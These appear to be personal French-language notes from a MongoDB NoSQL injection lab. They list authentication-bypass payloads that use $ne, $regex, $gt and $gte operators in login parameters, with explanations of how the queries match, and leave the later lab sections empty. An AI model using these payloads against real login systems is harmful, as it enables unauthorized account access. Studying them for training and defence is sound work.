MongoDB Lab noSQL injection

1er lab :

db.accounts.find({$where: this.firstName.startsWith('R') && this.firstName.length === 6 && this.lastName.startsWith('D') && this.lastName.length === 7});

2 e lab :

Authentication bypass :

username[$ne]=toto&password[$ne]=toto
login[$regex]=.*&pass[$regex]=.*

email=admin%40mangomail.com&password[$ne]=x

Ce que ça fait :
    Cible un utilisateur précis (admin@mangomail.com, %40 étant le caractère encodé pour @).
    La condition password[$ne]=x signifie "le mot de passe n’est pas égal à 'x'".
    Si l'entrée n'est pas validée correctement, MongoDB interprète cette requête comme :

    { email: "admin@mangomail.com", password: { $ne: "x" } }

    Si le mot de passe de l'admin n'est pas "x", la requête réussit, et l'accès peut être accordé de manière non autorisée.

2. email[$gt]=&password[$gt]=

Ce que ça fait :
    Les champs email et password sont fournis comme chaînes vides.
    L'opérateur $gt (greater than) vérifie si les valeurs sont "supérieures à" l'entrée donnée. Comme toute chaîne est "supérieure" à une chaîne vide dans l'ordre lexicographique, cette condition peut correspondre à presque tous les enregistrements.
    Interprétation de la requête :

    { email: { $gt: "" }, password: { $gt: "" } }

    Cela correspond Ă  tous les utilisateurs ayant un email et un mot de passe non vides.

3. email[$gte]=&password[$gte]=

{ email: { $gte: "" }, password: { $gte: "" } }

Cette charge utile peut correspondre Ă  des enregistrements mĂŞme si email ou password sont vides.

3e lab :

4e lab :

Last updated